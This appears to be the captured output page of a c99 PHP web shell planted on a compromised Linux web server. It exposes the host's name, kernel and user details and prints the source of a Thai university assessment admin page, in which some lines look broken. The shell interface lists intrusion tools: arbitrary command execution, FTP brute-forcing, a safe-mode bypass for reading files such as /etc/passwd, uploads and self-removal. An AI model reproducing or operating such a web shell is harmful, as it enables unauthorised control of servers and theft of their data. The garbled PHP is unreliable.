!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     detailHoldTeach.php (3.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "../../class/clsDB.php";
include_once 
"../../class/clsConnection.php";
include_once 
"../global.php";
include_once 
"../class/clsReg_Program.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsDoAssessmentTeach.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAF = new AssessForm($oCA);
$oDA = new DefineAssessment($oCA);
$oDoTe = new DoAssessmentTeach($oCA);

$oDA->SearchByKey($defineid,$acadYear,$semester,$noAss);
$oDA->GetRecord();

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($oDA->semester);
$oSse->GetRecord();

$oAF->SearchByKey($oDA->assid);
$oAF->GetRecord();

$DoAssTeach $oDoTe->CountDoTeachidByDefineid($oDA->defineid);
?>
<html>
<head>
<title>แสดงรายละเอียดของแบบประเมินโดยอาจารย์ประเมิน</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head><br>
<table width="97%" height="150" border="0" align="center" cellpadding="0" cellspacing="2" >
  <tr align="center"> 
    <td height="22" colspan="2"><font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><img src="../picture/add.gif" width="18" height="19"><u>รายละเอียดกำหนดแบบประเมินและช่วงเวลาอาจารย์ประเมิน</u></font><br></td>
  </tr>
  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
    <td height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>" ><b>&nbsp;ลำดับที่</b></font></td>
    <td width="71%"><? echo $oDA->noAss;  ?></td>
  </tr>
  <tr> 
    <td width="29%" height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;ปีการศึกษา</b></font></td>
    <td><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oSse->semesterName;?>/<? echo $oDA->acadYear;  ?></font></td>
  </tr>
  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
    <td height="22"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;แบบประเมินที่เลือกใช้</b></font></td>
    <td height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">
      <?  if($oAF->maintopic == ""){ echo $oAF->nameAss." <img src = \"../picture/warn.png\" border = \"0\">"; }else{ echo $oAF->maintopic; } ?>
    </font></td>
  </tr>
  <tr> 
    <td height="24"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;ช่วงเวลาประเมิน</b></font></td>
    <td height="24"> 
      <?php  echo abbreDate2($oDA->startDate,'/');?>
      <font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;ถึง</b></font> 
      <?php  echo abbreDate2($oDA->endDate,'/');?>
      <font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp;</font></td>
  </tr>
  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
    <td height="24"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;วันที่ปิดการประเมิน</b></font></td>
    <td><?php echo abbreDate2($oDA->closeDate,'/');?></td>
  </tr>
  <tr> 
    <td height="24"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>&nbsp;สถานะการประเมิน</b></font></td>
    <td height="24"><font color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
      <? if($DoAssTeach == 0){ ?>
      <img src = "../picture/no.gif" width="13" height="13"> ยังไม่มีผู้เข้ามาประเมิน 
      <? } else if($DoAssTeach 0){ ?>
      <img src = "../picture/yes.gif" width="13" height="13">มีผู้เข้ามาประเมินแล้ว 
      <? ?>
      </font></td>
  </tr>
</table>
<br>
<table width="97%" border="0" align="center">
  <tr>
    <td align="center"><a href="#" onClick="window.close()"><font size="2" face="Microsoft Sans Serif">[ปิดหน้าต่าง]</font></a></td>
  </tr>
  <tr> 
    <td>&nbsp;</td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--